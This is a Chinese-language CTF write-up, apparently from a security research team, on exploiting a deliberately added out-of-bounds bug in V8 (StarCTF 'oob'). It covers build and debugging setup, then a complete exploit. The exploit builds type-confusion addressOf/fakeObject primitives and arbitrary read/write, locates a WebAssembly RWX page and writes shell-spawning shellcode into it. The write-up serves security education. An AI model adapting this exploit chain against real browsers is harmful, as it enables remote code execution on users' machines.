长亭百川云 - 文章详情

通过StarCTF oob题目学习V8 PWN 入门

山石网科安全技术研究院

77

2024-07-26

这篇文章笔者将带领大家一起入门学习V8,pwn方向中,v8也是一个比较有趣的方向!

chrome 里面的 JavaScript 解释器称为v8,我们做的pwn题主要面向的也是这个。这里搭建环境的步骤如下:

环境搭建

#depot_tools  
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git  
export PATH="$PATH":`pwd`/depot_tools  
  
#ninja  
git clone https://github.com/ninja-build/ninja.git  
cd ninja && ./configure.py --bootstrap && cd ..  
export PATH="$PATH":`pwd`/ninja

编译v8

fetch  v8  
#这个步骤需要开启代理  
cd v8&& gclient sync  
tools/dev/v8gen.py x64.debug  
ninja -C out.gn/x64.debug  
#out.gn文件夹是最后输出的文件位置

当我们拿到题目,我们需要做的是:

退回题目给的版本之后,再把补丁加在到v8码源中。

git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598  
git apply < oob.diff  
# 编译debug版本  
tools/dev/v8gen.py x64.debug  
ninja -C out.gn/x64.debug d8  
# 编译release版本  
tools/dev/v8gen.py x64.release  
ninja -C out.gn/x64.release d8

调试方法

gdb配置。

V8自带gdb调试命令,在/tools/目录下,可以找到gdbinit和gdb-v8-support.py。我将gdb-v8-support.py复制到了根目录下,然后修改自己的.gdbinit文件,将提供的gdbinit都复制过来。就可以在gdb中使用v8自带调试命令了。具体命令可以在gdbinit中自己查阅,注释还是很友好的。

我的gdbinit文件:

#source /home/lyyy/Desktop/pwndbg/gdbinit.py  
source /home/lyyy/Desktop/tools/pwndbg/gdbinit.py  
source /home/lyyy/Desktop/v8/tools/gdb-v8-support.py  
source /home/lyyy/Desktop/tools/Pwngdb/angelheap/gdbinit.py  
source /home/lyyy/Desktop/tools/Pwngdb/pwngdb.py  
#source  /home/lyyy/Desktop/tools/peda-heap/peda.py  
set context-output /dev/pts/2  
define hook-run  
python  
import angelheap  
angelheap.init_angelheap()  
end  
end  
  
#v8   gdb define  
# Print tagged object.  
define job  
call (void) _v8_internal_Print_Object((void*)($arg0))  
end  
document job  
Print a v8 JavaScript object  
Usage: job tagged_ptr  
end  
  
# Print content of v8::internal::Handle.  
define jh  
call (void) _v8_internal_Print_Object(*((v8::internal::Object**)($arg0).location_))  
end  
document jh  
Print content of a v8::internal::Handle  
Usage: jh internal_handle  
end  
  
# Print content of v8::Local handle.  
define jlh  
call (void) _v8_internal_Print_Object(*((v8::internal::Object**)($arg0).val_))  
end  
document jlh  
Print content of a v8::Local handle  
Usage: jlh local_handle  
end  
  
# Print Code objects containing given PC.  
define jco  
call (void) _v8_internal_Print_Code((void*)($arg0))  
end  
document jco  
Print a v8 Code object from an internal code address  
Usage: jco pc  
end  
  
# Print LayoutDescriptor.  
define jld  
call (void) _v8_internal_Print_LayoutDescriptor((void*)($arg0))  
end  
document jld  
Print a v8 LayoutDescriptor object  
Usage: jld tagged_ptr  
end  
  
# Print TransitionTree.  
define jtt  
call (void) _v8_internal_Print_TransitionTree((void*)($arg0))  
end  
document jtt  
Print the complete transition tree of the given v8 Map.  
Usage: jtt tagged_ptr  
end  
  
# Print JavaScript stack trace.  
define jst  
call (void) _v8_internal_Print_StackTrace()  
end  
document jst  
Print the current JavaScript stack trace  
Usage: jst  
end  
  
# Skip the JavaScript stack.  
define jss  
set $js_entry_sp=v8::internal::Isolate::Current()->thread_local_top()->js_entry_sp_  
set $rbp=*(void**)$js_entry_sp  
set $rsp=$js_entry_sp + 2*sizeof(void*)  
set $pc=*(void**)($js_entry_sp+sizeof(void*))  
end  
document jss  
Skip the jitted stack on x64 to where we entered JS last.  
Usage: jss  
end  
  
# Print stack trace with assertion scopes.  
define bta  
python  
import re  
frame_re = re.compile("^#(\d+)\s*(?:0x[a-f\d]+ in )?(.+) \(.+ at (.+)")  
assert_re = re.compile("^\s*(\S+) = .+<v8::internal::Per\w+AssertScope<v8::internal::(\S*), (false|true)>")  
btl = gdb.execute("backtrace full", to_string = True).splitlines()  
for l in btl:  
  match = frame_re.match(l)  
  if match:  
    print("[%-2s] %-60s %-40s" % (match.group(1), match.group(2), match.group(3)))  
  match = assert_re.match(l)  
  if match:  
    if match.group(3) == "false":  
      prefix = "Disallow"  
      color = "\033[91m"  
    else:  
      prefix = "Allow"  
      color = "\033[92m"  
    print("%s -> %s %s (%s)\033[0m" % (color, prefix, match.group(2), match.group(1)))  
end  
end  
document bta  
Print stack trace with assertion scopes  
Usage: bta  
end  
  
# Search for a pointer inside all valid pages.  
define space_find  
  set $space = $arg0  
  set $current_page = $space->first_page()  
  while ($current_page != 0)  
    printf "#   Searching in %p - %p\n", $current_page->area_start(), $current_page->area_end()-1  
    find $current_page->area_start(), $current_page->area_end()-1, $arg1  
    set $current_page = $current_page->next_page()  
  end  
end  
  
define heap_find  
  set $heap = v8::internal::Isolate::Current()->heap()  
  printf "# Searching for %p in old_space  ===============================\n", $arg0  
  space_find $heap->old_space() ($arg0)  
  printf "# Searching for %p in map_space  ===============================\n", $arg0  
  space_find $heap->map_space() $arg0  
  printf "# Searching for %p in code_space ===============================\n", $arg0  
  space_find $heap->code_space() $arg0  
end  
document heap_find  
Find the location of a given address in V8 pages.  
Usage: heap_find address  
end  
  
set disassembly-flavor intel  
set disable-randomization off  
  
# Install a handler whenever the debugger stops due to a signal. It walks up the  
# stack looking for V8_Dcheck and moves the frame to the one above it so it's  
# immediately at the line of code that triggered the DCHECK.  
python  
def dcheck_stop_handler(event):  
  frame = gdb.selected_frame()  
  select_frame = None  
  message = None  
  count = 0  
  # limit stack scanning since they're usually shallow and otherwise stack  
  # overflows can be very slow.  
  while frame is not None and count < 5:  
    count += 1  
    if frame.name() == 'V8_Dcheck':  
      frame_message = gdb.lookup_symbol('message', frame.block())[0]  
      if frame_message:  
        message = frame_message.value(frame).string()  
      select_frame = frame.older()  
      break  
    if frame.name() is not None and frame.name().startswith('V8_Fatal'):  
      select_frame = frame.older()  
    frame = frame.older()  
  
  if select_frame is not None:  
    select_frame.select()  
    gdb.execute('frame')  
    if message:  
      print('DCHECK error: {}'.format(message))  
  
gdb.events.stop.connect(dcheck_stop_handler)  
end

在使用gdb调试时需要开启allow-natives-syntax
选项:

//方法一  
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ ./d8 --allow-natives-syntax   
  
//方法二  
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8   
[...]  
pwndbg> set args --allow-natives-syntax test.js

可以直接在 js
代码中使用%DebugPrint();
以及%SystemBreak();
下断点。%SystemBreak()
其作用是在调试的时候会断在这条语句这里,%DebugPrint()
则是用来打印对象的相关信息,在debug
版本下会输出很详细的信息。

job命令

用于可视化显示JavaScript
对象的内存结构。

gdb
下使用:job 对象地址。

在resele版本中会报错:

No symbol "_v8_internal_Print_Object" in current context.

V8 对象结构

V8 中的对象有如下属性:

map: 定义了如何访问对象  
prototype:对象的原型(如果有)  
elements:对象的地址  
length:长度  
properties:属性,存有map和length

分析:

对象里存储的数据是在elemnts
指向的内存区域的,而且是在对象的上面。也即,在内存申请上,V8先申请了一块内存存储元素内容,然后申请了一块内存存储这个数组的对象结构,对象中的elements
指向了存储元素内容的内存地址。

map属性详解

对象的map
(数组是对象)是一种数据结构,其中包含以下信息:

对象的动态类型,即 String,Uint8Array,HeapNumber 等  
对象的大小,以字节为单位  
对象的属性及其存储位置  
数组元素的类型,例如 unboxed 的双精度数或带标记的指针  
对象的原型(如果有)

属性名称通常存储在Map
中,而属性值则存储在对象本身中几个可能区域之一中。然后,map
将提供属性值在相应区域中的确切位置。

本质上,映射定义了应如何访问对象:

对于对象数组:存储的是每个对象的地址。

对于浮点数组:以浮点数形式存储数值。

所以,如果将对象数组的map
换成浮点数组 -> 就变成了浮点数组,会以 浮点数的形式存储对象的地址;如果将对 浮点组的 map 换成对象数组 -> 就变成了对象数组,打印浮点数存储的地址。

对象和对象数组

也就是说,对象数组里面,存储的是别的对象的地址。

StarCTF oob

入门题目

漏洞分析

这里题目直接给出了一个 oob.diff
文件,如下所示:

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc  
index b027d36..ef1002f 100644  
--- a/src/bootstrapper.cc  
+++ b/src/bootstrapper.cc  
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,  
                           Builtins::kArrayPrototypeCopyWithin, 2, false);  
     SimpleInstallFunction(isolate_, proto, "fill",  
                           Builtins::kArrayPrototypeFill, 1, false);  
+    SimpleInstallFunction(isolate_, proto, "oob",  
+                          Builtins::kArrayOob,2,false);  
     SimpleInstallFunction(isolate_, proto, "find",  
                           Builtins::kArrayPrototypeFind, 1, false);  
     SimpleInstallFunction(isolate_, proto, "findIndex",  
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc  
index 8df340e..9b828ab 100644  
--- a/src/builtins/builtins-array.cc  
+++ b/src/builtins/builtins-array.cc  
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,  
   return *final_length;  
 }  
 }  // namespace  
+BUILTIN(ArrayOob){  
+    uint32_t len = args.length();  
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();  
+    Handle<JSReceiver> receiver;  
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(  
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));  
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);  
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());  
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());  
+    if(len == 1){  
+        //read  
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));  
+    }else{  
+        //write  
+        Handle<Object> value;  
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(  
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));  
+        elements.set(length,value->Number());  
+        return ReadOnlyRoots(isolate).undefined_value();  
+    }  
+}  
   
 BUILTIN(ArrayPush) {  
   HandleScope scope(isolate);  
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h  
index 0447230..f113a81 100644  
--- a/src/builtins/builtins-definitions.h  
+++ b/src/builtins/builtins-definitions.h  
@@ -368,6 +368,7 @@ namespace internal {  
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \  
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \  
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \  
+  CPP(ArrayOob)                                                                \  
                                                                                \  
   /* ArrayBuffer */                                                            \  
   /* ES #sec-arraybuffer-constructor */                                        \  
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc  
index ed1e4a5..c199e3a 100644  
--- a/src/compiler/typer.cc  
+++ b/src/compiler/typer.cc  
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {  
       return Type::Receiver();  
     case Builtins::kArrayUnshift:  
       return t->cache_->kPositiveSafeInteger;  
+    case Builtins::kArrayOob:  
+      return Type::Receiver();  
   
     // ArrayBuffer functions.  
     case Builtins::kArrayBufferIsView:

我们可以通过这个diff文件里面看出他添加了什么内容,这个文件实际就是增加了一个oob
函数,主要分为三部分:定义、实现和关联。

定义

为数组添加名为oob
的内置函数(用于调用),内部调用的函数名是kArrayOob
(实现oob的函数)。

+    SimpleInstallFunction(isolate_, proto, "oob",  
+                          Builtins::kArrayOob,2,false);

obb函数分析

参数处理:

uint32_t len = args.length();  
if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
  • args.length()
    获取传递给该内置函数的参数数量。

  • 如果参数数量超过2,则返回未定义值,这可能是为了限制该函数仅处理特定数量的参数。

将接收器对象转换为JSReceiver:

Handle<JSReceiver> receiver;  
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(  
        isolate, receiver, Object::ToObject(isolate, args.receiver()));
  • Object::ToObject(isolate, args.receiver())
    将传入的接收器对象转换为一个JSReceiver对象,并将其赋值给 receiver
    句柄。

  • ASSIGN_RETURN_FAILURE_ON_EXCEPTION
    是一个宏,用于检查转换过程中是否发生异常,如果有异常则返回失败状态。

处理数组对象:

Handle<JSArray> array = Handle<JSArray>::cast(receiver);  
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());  
uint32_t length = static_cast<uint32_t>(array->length()->Number());
  • Handle::cast(receiver)
    将接收器对象 receiver
    转换为 JSArray
    类型的句柄。

  • array->elements()
    获取数组的元素。

  • FixedDoubleArray::cast(...)
    将数组的元素转换为 FixedDoubleArray
    类型,这可能意味着该函数特别处理双精度浮点数数组。

  • array->length()->Number()
    获取数组的长度并转换为 uint32_t
    类型。

处理读取操作(当 len == 1

时):

cpp复制代码if(len == 1){  
    //read  
    return *(isolate->factory()->NewNumber(elements.get_scalar(length)));  
}
  • 当参数数量为1时,执行读取操作。

  • elements.get_scalar(length)
    获取数组中索引为 length
    的元素的值,并使用 NewNumber
    将其包装为一个新的数字对象。

处理写入操作(当 len == 2

时):

cpp复制代码else {  
    //write  
    Handle<Object> value;  
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(  
            isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));  
    elements.set(length,value->Number());  
    return ReadOnlyRoots(isolate).undefined_value();  
}
  • 当参数数量为2时,执行写入操作。

  • Object::ToNumber(isolate, args.at(1))
    将第二个参数(索引为1)转换为数字类型。

  • elements.set(length, value->Number())
    将转换后的数字值写入数组中索引为 length
    的位置。

  • 最后返回未定义值,表示写入操作完成。

  • 那么这里就存在一个明显的数组越界,我们数组的下标应该是[0, length-1]
    。而这里我们能够修改arr[length]
    的值,那么就可以越界修改相邻的一个地址的值。也就是我们平时off by one。

    其实这个函数按照c语言的翻译来讲就是:

    len==1 return(arr[length])  
    len==2 return(arr[length]=data)
    

    这个就是越界写了。

    漏洞利用

    基础工具api编写

    var buf = new ArrayBuffer(16);  
    var float64 = new Float64Array(buf);  
    var bigUint64 = new BigUint64Array(buf);  
    // 浮点数转换为64位无符号整数  
    function f2i(f)  
    {  
        float64[0] = f;  
        return bigUint64[0];  
    }  
    // 64位无符号整数转为浮点数  
    function i2f(i)  
    {  
        bigUint64[0] = i;  
        return float64[0];  
    }  
    // 64位无符号整数转为16进制字节串  
    function hex(i)  
    {  
        return i.toString(16).padStart(16, "0");  
    }
    

    写个poc调试一下,这个题目主要还是用来熟悉调试过程,首先呢,我们创建数组然后调试查看一下内存。

    浮点数组的内存

    var a = [1.1, 2.2, 3.3, 4];  
    %DebugPrint(a);  
    %SystemBreak();  
    var b = [1, 2, 3];  
    %DebugPrint(b);  
    %SystemBreak();  
    var c = [a, b]  
    %DebugPrint(c);  
    %SystemBreak();
    

    接下来我们来调试观察一下内存中的布局:

    我们再来看看elements的存储:

    这个位置便是我们越界写的地方,这个位置是map的位置,紧挨着elements,我们可以跟进一下看看这个地方的结构。

    可以看到整个数组的JSArray
    的map
    类型是 紧邻在 element
    类型的下面的,也即上面的0x1c27e95c2ed9。

    那么结合漏洞点我们可以知道,我们就是通过这个越界写去修改map的地址。

    map
    的一个作用就是标识当前变量的 类型,那么这里我们就可以利用修改map
    来修改一些 变量的数据类型,达到类型混淆的作用。

    我们去看看这个map所指向的地址与内存情况。

    对象数组的内存布局

    那我们再看看对象数组的内存情况:

    var a = [1.1, 2,2];  
    %DebugPrint(a);  
    %SystemBreak();  
    var b = [1, 2];  
    var c = [a, b];  
    console.log(c[0]);  
    %DebugPrint(c);  
    %SystemBreak();
    

    在内存布局中其实是一致的,只是存储的是对象的地址:

    +---> elements +---> +---------------+  
    |                    |               |  
    |                    +---------------+  
    |                    |               |  
    |                    +---------------+   fakeObject  +--------------+  
    |                    |fake_array[0]  |  +----------> |   map        |  
    |                    +---------------+               +--------------+         想要 读 或 改 的  
    |                    |fake_array[1]  |               |   prototype  |         内 存  
    |                    +---------------+               +--------------+          +-------------+  
    |                    |fake_array[2]  |               |   elements   | +------> |             |  
    |                    +---------------+               +--------------+          |             |  
    |                    |               |               |              |          |             |  
    |                    |               |               |              |          |             |  
    |    fake_array+-->  +---------------+               |              |          |             |  
    |                    |   map         |               |              |          |             |  
    |                    +---------------+               |              |          |             |  
    |                    |   prototype   |               +--------------+          |             |  
    |                    +---------------+                                         |             |  
    +--------------------+   elements    |                                         |             |  
                         +---------------+                                         |             |  
                         |   length      |                                         |             |  
                         +---------------+                                         |             |  
                         |   properties  |                                         |             |  
                         +---------------+                                         +-------------+
    

    我们可以模拟我们的效果,c对象的map地址改成a的map,再进行输出,看看效果:

    我们需要将0x3414a684dee8 修改成为0x6aab1b02ed9:

    set {unsigned long long}  0x3414a684dee8 =0x6aab1b02ed9
    

    可以看到解析错误,那我们就可以利用这一点来漏洞利用,笔者也是第一次接触v8架构的。

    我们使用oob来触发这个漏洞。

    var fake_array = [  
        float_array_map,//fake to be a float arr object  
        i2f(0n),  
        i2f(0x41414141n),//fake obj's elements ptr  
        i2f(0x1000000000n),  
        1.1,  
        2.2  
    ];
    

    泄露地址函数

    之前的调试可以发现,如果是对象类型的数组,element存储的是对象地址,而如果是float类型的数组,element存储的便是浮点数,如果我们将对象类型的数组map值改成float的map值,那么就可以把对象数组当做float数组输出,原本存储在element中的地址就会被当做float输出,就可以做到泄露地址的效果。

    function leak(object)  
    {  
        obj_arr[0] = obj;  
        obj_arr.oob(float_array_map);//修改map值为float数组的map值  
        let obj_addr =  f2i(obj_arr[0]-1n);  //read obj[0] is obj_addr  
        obj_arr.oob(obj_array_map); //恢复object的map值  
        return obj_addr;  
    }
    

    伪造对象辅助函数

    泄露地址是将对象的map改变为浮点数的map,那么伪造对象辅助函数便是将float的map改变为对象的map,我们输入地址,通过对象的特性,就可以伪造为一个对象,最后再将map值恢复。

    function fakeObject(addr_to_fake)  
    {  
        float_arr[0] = i2f(addr_to_fake+1n);      
        float_arr.oob(obj_array_map);   //修改map值  
        let fake_obj = float_arr[0];    //get fake_obj  
        float_arr.oob(float_array_map); //恢复map值  
        return fake_obj;  
    }
    

    任意地址读写

    按照上述分析,我们可以将一个地址伪造为对象,element如果可控的话,对象数组的element便是可控的指针,我们可以在element上布置我们想要改写的地址,通过数组便可以进行改写操作,从而实现任意地址写。

    对象结构:

    map  
    prototype   
    elements   
    length   
    properties
    

    其实和泄露地址是一个道理了,类型混淆中去进行泄露,想要泄露某个地址,无疑就是将一个地址加入到一个类的element元素之中,利用类索引去将这个地址打印出来。

    任意地址读功能编写

    首先呢,我们伪造一个类,其实就是类似于我们pwn中io的IOFILE结构体:

    var fake_array = [  
        float_array_map,//fake to be a float arr object  
        i2f(0n),  
        i2f(0x41414141n),//fake obj's elements ptr  
        i2f(0x1000000000n),  
        1.1,  
        2.2  
    ];
    

    这个fake_array是一个float的类,我们要让他被识别为一个float的对象,fake_arrry_map我们要放一个对象的map,那么我们存放在element里面的值就可以作为地址被解析。

    那么我们要获取他的地址,我们之前写了一个功能是解析类的地址的,但是我们获取到的是map的地址,我们要让他指向element,根据偏移,fake_array一共六个元素,一个元素一个字节,那么就是0x8*6=0x30,减去0x30就指向我们伪造的element的位置。

    即:

    var fake_arr_addr = leak(fake_array);  
    var fake_object_addr = fake_arr_addr - 0x30n
    

    我们在将这个伪造的结构插入到对象中。

    var fake_object = fakeObject(fake_object_addr);
    

    接下来呢,fake_object就是一个对象了,他的element第一个位置放的就是我们的fake_array,解析第一个对象就会解析fake_array,此时,fake_array的map是一个对象,那么就会把element当成一个地址去解析里面的内容,element是我们可控的,从而实现任意地址读,我们只需要修改fake_array的第三个元素即可。

    任意地址读的函数如下:

    function read64(addr)  
    {  
        fake_array[2] = i2f(addr - 0x10n + 0x1n);//其实就是跟heap的chunk的道理一样,我们需要data区域的内容,但是申请的时候需要分配prev_size和size位,这里也是一样道理的,要去掉一个map和prototype的位置,需要提前减掉0x10  
        let leak_data = f2i(fake_object[0]);//解析第一个元素  
        console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));  
        return leak_data;  
    }
    
    任意地址写功能编写

    其实跟写是一个道理的,我们只需要修改fake_object[0],一路解析就会解析到我们fake_array上我们布置的内存块了。

    function write64(addr,data)  
    {  
        fake_array[2] = i2f(addr - 0x10n + 0x1n);  
        fake_object[0] = i2f(data);  
        console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));  
    }
    

    命令执行

    我们的目标是让程序执行shellcode。那我们首先得找到一个rwxp的内存区域来存放我们的shellcode。

    wasw模版推导

    wasw会在程序中开辟一段可读可写可执行的空间,我们可以将这块内存上的内容篡改成我们的shellcode。

    我们用gdb调试尝试去找一下存放WASM代码的地址:

    %SystemBreak();  
    var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);  
      
    var wasmModule = new WebAssembly.Module(wasmCode);  
    var wasmInstance = new WebAssembly.Instance(wasmModule, {});  
    var f = wasmInstance.exports.main;  
    %DebugPrint(f);  
    %DebugPrint(wasmInstance);  
    %SystemBreak();
    

    通过调试我们可以发现:

    f的wasm instance和我们泄露的wasmInstance是一样的。

    我们看一下shared_info的内容:

    再看一下data域:

    可以发现f中shared_info中data中的instance就是wasmInstance,我们来查看一下内存。

    vmmap查看一下地址执行权限:

    有一个可读可写可执行的段

    再查看一下instance中的信息

    可以看到instance上有可读可写可执行段的地址,可以找到instance地址和可读可写可执行段的偏移。之后我们可以通过read找到instance地址通过偏移找到可读可写可执行段。再通过write函数将shellcode写入,wasm便可执行shellcode。

    那么我们的思路便是,通过任意地址读将这个可读可写可执行段地址泄露到,然后利用我们的任意地址写功能,将shellcode写入到这个地址中去。

    其实也是跟pwn的思路相同了,将我们的shellcode写入到这个可读可写可执行的段中!

    exp:

    var buf = new ArrayBuffer(16);  
    var float64 = new Float64Array(buf);  
    var bigUint64 = new BigUint64Array(buf);  
    // 浮点数转换为64位无符号整数  
    function f2i(f)  
    {  
        float64[0] = f;  
        return bigUint64[0];  
    }  
    // 64位无符号整数转为浮点数  
    function i2f(i)  
    {  
        bigUint64[0] = i;  
        return float64[0];  
    }  
    // 64位无符号整数转为16进制字节串  
    function hex(i)  
    {  
        return i.toString(16).padStart(16, "0");  
    }  
    // ××××××××2. addressOf和fakeObject的实现××××××××  
    var obj = {"a": 1};  
    var obj_array = [obj];  
    var float_array = [1.1];  
    var obj_array_map = obj_array.oob();//oob函数出来的就是map  
    var float_array_map = float_array.oob();  
      
    // 泄露某个object的地址  
    function addressOf(obj_to_leak)  
    {  
        obj_array[0] = obj_to_leak;  
        obj_array.oob(float_array_map);  
        let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址  
        obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用  
        return obj_addr;  
    }  
    function fakeObject(addr_to_fake)  
    {  
        float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式  
        float_array.oob(obj_array_map);  
        let faked_obj = float_array[0];  
        float_array.oob(float_array_map); // 还原array类型以便后续继续使用  
        return faked_obj;  
    }  
    // ××××××××3.read & write anywhere××××××××  
    // 这是一块我们可以控制的内存  
    var fake_array = [                //伪造一个对象  
        float_array_map,  
        i2f(0n),  
        i2f(0x41414141n),            // fake obj's elements ptr  
        i2f(0x1000000000n),  
        1.1,  
        2.2,  
    ];  
      
    // 获取到这块内存的地址  
    var fake_array_addr = addressOf(fake_array);  
    // 将可控内存转换为对象  
    var fake_object_addr = fake_array_addr - 0x30n;  
    var fake_object = fakeObject(fake_object_addr);  
    // 任意地址读  
    function read64(addr)  
    {  
        fake_array[2] = i2f(addr - 0x10n + 0x1n);  
        let leak_data = f2i(fake_object[0]);  
        return leak_data;  
    }  
    // 任意地址写  
    function write64(addr, data)  
    {  
        fake_array[2] = i2f(addr - 0x10n + 0x1n);  
        fake_object[0] = i2f(data);      
    }  
    //data_view任意写  
    var data_buf = new ArrayBuffer(8);  
    var data_view = new DataView(data_buf);  
    var buf_backing_store_addr = addressOf(data_buf) + 0x20n;  
    function writeDataview(addr,data){  
        write64(buf_backing_store_addr, addr);  
        data_view.setBigUint64(0, data, true);  
        console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));  
    }  
      
    var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);  
      
    var wasmModule = new WebAssembly.Module(wasmCode);  
    var wasmInstance = new WebAssembly.Instance(wasmModule, {});  
    var f = wasmInstance.exports.main;  
    var f_addr = addressOf(f);  
    console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr));  
      
    var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;  
    var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;  
    var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;  
    var rwx_page_addr = read64(wasm_instance_addr + 0x88n);  
    console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));  
      
    shellcode = [  
        0x91969dd1bb48c031n,  
        0x53dbf748ff978cd0n,  
        0xb05e545752995f54n,  
        0x50f3bn  
    ];  
      
    var data_buf = new ArrayBuffer(32);  
    var data_view = new DataView(data_buf);  
    var buf_backing_store_addr = addressOf(data_buf) + 0x20n;  
    write64(buf_backing_store_addr, rwx_page_addr);  
    for (var i = 0; i < shellcode.length; i++)  
        data_view.setBigUint64(8*i, shellcode[i], true);  
      
    // trigger shellcode  
    f();
    

    可以看到成功getshell了!

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2